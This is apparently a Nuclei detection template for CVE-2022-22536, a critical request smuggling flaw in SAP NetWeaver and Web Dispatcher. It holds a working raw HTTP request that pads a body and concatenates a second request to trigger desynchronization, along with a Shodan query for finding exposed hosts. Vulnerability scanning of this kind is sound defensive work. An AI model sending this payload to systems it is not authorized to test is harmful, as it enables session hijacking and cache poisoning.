id: CVE-2022-22536

info:
  name: SAP Memory Pipes (MPI) Desynchronization
  author: pdteam
  severity: critical
  description: SAP NetWeaver Application Server ABAP, SAP NetWeaver Application Server Java, ABAP Platform, SAP Content Server 7.53 and SAP Web Dispatcher are vulnerable to request smuggling and request concatenation attacks. An unauthenticated attacker can prepend a victim's request with arbitrary data. This way, the attacker can execute functions impersonating the victim or poison intermediary web caches. A successful attack could result in complete compromise of Confidentiality, Integrity and Availability of the system.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-22536
    - https://wiki.scn.sap.com/wiki/display/PSR/SAP+Security+Patch+Day+-+February+2022
    - https://github.com/Onapsis/onapsis_icmad_scanner
    - https://blogs.sap.com/2022/02/11/remediation-of-cve-2022-22536-request-smuggling-and-request-concatenation-in-sap-netweaver-sap-content-server-and-sap-web-dispatcher/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2022-22536
    cwe-id: CWE-444
    epss-score: 0.96833
  metadata:
    max-request: 2
    shodan-query: http.favicon.hash:-266008933
  tags: cve,cve2022,sap,smuggling,netweaver,web-dispatcher,memory-pipes,kev

http:
  - raw:
      - |+
        GET {{sap_path}} HTTP/1.1
        Host: {{Hostname}}
        Content-Length: 82646
        Connection: keep-alive

        {{repeat("A", 82642)}}

        GET / HTTP/1.1
        Host: {{Hostname}}

    payloads:
      sap_path: # based on https://github.com/Onapsis/onapsis_icmad_scanner
        - /sap/admin/public/default.html
        - /sap/public/bc/ur/Login/assets/corbu/sap_logo.png

    unsafe: true
    read-all: true
    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: dsl
        dsl:
          - "contains(tolower(body), 'administration')" # confirms 1st path
          - "contains(tolower(header), 'content-type: image/png')" # confirms 2nd path
        condition: or

      - type: word
        part: body
        words:
          - "HTTP/1.0 400 Bad Request" # error in concatenated response
          - "HTTP/1.0 500 Internal Server Error"
          - "HTTP/1.0 500 Dispatching Error"
        condition: or